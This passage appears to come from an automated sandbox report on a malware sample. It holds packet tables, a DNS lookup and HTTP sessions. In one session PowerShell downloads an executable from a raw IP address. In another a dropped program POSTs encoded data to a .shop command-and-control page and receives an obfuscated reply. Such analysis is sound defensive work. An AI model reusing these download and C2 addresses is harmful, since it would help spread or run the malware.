Oct 11, 2024 04:10:45.353151083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353173971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353179932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353207111 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353216887 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353241920 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353249073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353276014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353282928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353312016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353317976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353347063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353353977 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353385925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.353389978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.353425980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358011007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358056068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358092070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358093023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358114958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358128071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358139038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358165979 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358175993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358212948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358247042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358282089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358293056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358320951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358328104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358355999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358388901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358403921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358419895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358433962 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358453035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358465910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358491898 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358500004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358531952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358540058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358570099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358581066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358622074 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358625889 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358656883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358690023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358700991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358725071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358730078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358760118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358772039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358813047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358846903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358856916 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358887911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358899117 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358932018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358947039 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.358967066 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.358973980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359000921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359005928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359038115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359045029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359071970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359081984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359107018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359121084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359138966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359169960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359174013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359194040 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359211922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359219074 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359247923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359261990 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359287977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359297991 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359323025 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359332085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359355927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359390974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359430075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359431982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359483004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359503984 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359518051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359529972 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359551907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359560966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359586000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359595060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359621048 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359635115 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359657049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359688997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359695911 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359724045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359730959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359757900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359766960 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359792948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359801054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359827995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359862089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359867096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359899044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359903097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359934092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359941006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.359968901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.359977961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.360012054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.362819910 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.362848997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.362899065 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363209009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363260984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363270044 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363301992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363347054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363352060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363399982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363413095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363451958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363456964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363487005 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363492012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363521099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363528013 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363555908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363560915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363590002 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363598108 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363626003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363631010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363660097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363665104 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363694906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363699913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363729000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363738060 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363770008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363782883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363816023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363825083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363851070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363856077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363886118 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363892078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363922119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363925934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363955975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363961935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.363989115 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.363995075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364022970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364029884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364057064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364063978 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364092112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364097118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364125967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364134073 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364166975 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364172935 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364202976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364207983 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364236116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364242077 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364270926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364280939 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364303112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.364315987 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.364346027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.365195036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.370176077 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.098315001 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.103585958 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.104793072 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.104904890 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.105024099 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.109797001 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.109849930 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.109899998 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.109994888 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.110023975 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.110071898 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.110073090 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.110101938 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.110129118 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.110155106 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.110166073 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.110177994 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.110205889 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.110251904 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.114669085 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.114809036 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.114862919 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.115030050 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.115081072 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.115107059 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.115137100 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.115149021 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.115158081 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.115185976 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:46.115206003 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:46.126677036 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:50.170914888 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:50.170990944 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:50.171205997 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:50.171241045 CEST	80	49737	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:50.171264887 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:50.171286106 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:50.171350002 CEST	49737	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:50.176412106 CEST	80	49737	104.21.14.133	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 04:10:39.567434072 CEST	63396	53	192.168.2.4	1.1.1.1
Oct 11, 2024 04:10:39.581581116 CEST	53	63396	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 11, 2024 04:10:39.567434072 CEST	192.168.2.4	1.1.1.1	0xeb20	Standard query (0)	h8m5b.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 11, 2024 04:10:39.581581116 CEST	1.1.1.1	192.168.2.4	0xeb20	No error (0)	h8m5b.shop		104.21.14.133	A (IP address)	IN (0x0001)	false
Oct 11, 2024 04:10:39.581581116 CEST	1.1.1.1	192.168.2.4	0xeb20	No error (0)	h8m5b.shop		172.67.159.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

217.160.121.141:8030

h8m5b.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	217.160.121.141	8030	7396	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 04:10:37.871421099 CEST	192	OUT	GET /5643254657/Order-63729r.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 217.160.121.141:8030 Connection: Keep-Alive
Oct 11, 2024 04:10:38.501256943 CEST	335	IN	HTTP/1.1 200 OK Server: gunicorn Date: Fri, 11 Oct 2024 02:10:38 GMT Connection: keep-alive Content-Disposition: inline; filename=Order-63729r.exe Content-Type: application/octet-stream Content-Length: 114688 Last-Modified: Mon, 30 Sep 2024 10:55:57 GMT Cache-Control: no-cache ETag: "1727693757.3319743-114688-2791706574"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	104.21.14.133	80	7684	C:\Users\user\AppData\Local\Temp\Order160311_Reference.exe

Timestamp	Bytes transferred	Direction	Data
Oct 11, 2024 04:10:39.591895103 CEST	270	OUT	POST /ML341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: h8m5b.shop Content-Length: 107 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 6d ef 47 70 9d 3b 70 9d 35 70 9d 34 70 9d 3b 13 8b 31 11 ec 26 66 9a 26 66 9f 26 66 9e 40 70 9d 3b 70 9d 35 70 9d 34 70 9c 47 70 9d 35 11 ed 40 70 9d 30 17 8b 30 67 8b 30 62 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410mGp;p5p4p;1&f&f&f@p;p5p4pGp5@p00g0b
Oct 11, 2024 04:10:41.239445925 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 02:10:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kld7M%2BKFL4znQgJqQTi32voNqlMkMlZoNof75ySLJA3Cr8d60DUMtTYSk1Q4r8OdUsvHuPY7cLXgP4va5Io1IxWEjB0%2BReWCnYaIAVhQePbXm5%2FuD3nUdUb9nD43"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0b50a8289f8c3f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 34 34 37 32 0d 0a 3f 36 90 48 2c dd 71 1e d7 33 21 e2 50 65 da 48 22 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4d 11 ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 37 19 c4 52 67 e2 69 10 d7 4e 2c 9a 79 18 d4 73 03 fb 74 65 e5 3f 7a cd 3d 69 c0 3d fc bb 5a 79 0b 15 48 d8 a2 5e b3 61 f2 b9 56 79 05 09 0b dc a4 5c fb 2f f1 fa 1e 65 4b 56 4b cb a7 5c a4 4f c7 5b 33 57 66 66 65 ab cb 30 9e fd 62 cb 33 ec 66 66 65 af cb 30 9e 42 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e ba 9d cb 33 5a 79 dc 6b af 7f 39 53 23 25 ca 7f 99 47 32 0d c6 b8 10 ee 70 f2 ac 41 35 0b 46 06 ce a5 5e [TRUNCATED] Data Ascii: 4472?6H,q3!PeH"Hh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:MIh!ReP7RgiN,yste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1UjS#fe2'Tffe0_gho03Tffe03TFfe03Tdfe03^ffe03Tdfe06Tfbe03Tvfe03Twfe03Tffe03Tffe03l[fe03Tvfe03Tffe
Oct 11, 2024 04:10:41.239470959 CEST	224	IN	Data Raw: cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 2c e9 ae 4b 20 66 66 65 84 cf 30 9e 02 8d cb 33 54 60 66 Data Ascii: 03Tffe03Tffe03Tffe03Tffe03Tffe0,K ffe03T`fe03Tffe0"Sz03TFfe03Tffe03ff%0'Tffe093vfe03D030ffe?03Tffe.q23Dffe03T
Oct 11, 2024 04:10:41.239485025 CEST	1236	IN	Data Raw: 66 66 65 fd 98 74 cd 4f df 0e f0 86 c6 53 68 e8 72 08 08 25 3e af c6 55 66 66 65 ce bb 59 b3 6f ee e6 44 3d 08 4b 06 c0 b9 55 b3 61 f2 a5 40 3b 0a 03 48 c3 fa 1d af 2f ad e5 43 30 04 66 65 af cb 30 9e 02 8d cb 33 00 66 66 65 81 b9 54 ff 76 fc cb Data Ascii: ffetOShr%>UffeYoD=KUa@;H/C0fe03ffeTv3vfe0,R BTe3Twfe0,R fe0b3z34Ffe?0,A7BVW03Tffe03D03Uffe03\|wfe03wfe0.3tfe>03tfe
Oct 11, 2024 04:10:41.239500999 CEST	1236	IN	Data Raw: 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb Data Ascii: ffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe13Lff
Oct 11, 2024 04:10:41.239516973 CEST	1236	IN	Data Raw: 66 66 65 af cb 30 9e 3a a0 cb 33 54 64 64 65 9f 49 0d bb 04 94 e1 b5 1c e0 91 68 ae cc 32 3e 80 a0 dd 03 d6 5b 74 67 ae ca 01 95 32 94 cd 36 7f 68 65 67 b5 ce 30 ae 4e 9b c1 18 52 67 62 64 2d fc 32 9f 06 3d f5 03 68 56 71 63 a5 e0 36 9f 06 9c 49 Data Ascii: ffe0:3TddeIh2>[tg26heg0NRgbd-2=hVqc6IVgiU1i1fVD6)1Ncfa:TXftap/I0eg213ogp}43TfU9MYgg`3:Re3a2QE`e0#U[=20bavUoWexVy
Oct 11, 2024 04:10:41.239531994 CEST	1236	IN	Data Raw: dc 8b 38 f9 39 7b 22 48 5b 2c 0c 69 c6 62 5f b7 ea d1 7a cf 39 52 39 d1 90 9c 48 31 e4 a1 95 df 42 d8 22 21 8c 4c 5c 5e 4c ac da 73 4e 38 35 b1 01 d1 10 e7 70 f4 3d 5b 41 79 cd bd 35 aa 79 11 46 21 d5 73 a1 54 2a 5d d3 90 0c f1 66 57 ae 7f c0 70 Data Ascii: 89{"H[,ib_z9R9H1B"!L\^LsN85p=[Ay5yF!sT*]fWp1_4^kz\|djNIlU-WdggFi2,Vkcj2Ucce20b`vc5W3bmgq]37Sua7]l-dz`f:P&
Oct 11, 2024 04:10:41.239547968 CEST	1236	IN	Data Raw: a1 92 c8 b5 f8 51 fd 0e 38 82 26 3a f1 72 c0 6e a1 ee cf fb 07 b1 8b b8 30 29 7f fd b3 f4 40 0e b3 b8 24 f6 7e 8c ed be 1d dc 4a f9 4c db 92 4d 26 d8 29 b8 21 aa a0 79 8c c0 af 96 8d 85 8a 20 32 ca 10 c6 18 f5 0f b4 ae c6 7a 8d 47 19 de a9 91 c1 Data Ascii: Q8&:rn0)@$~JLM&)!y 2zG[E];JgH>iQa}E]0`!XFC:J`}D!Wf2Nffe.1leuVt9$Xxg\|SoC`ll=2MpoBqGeKVN
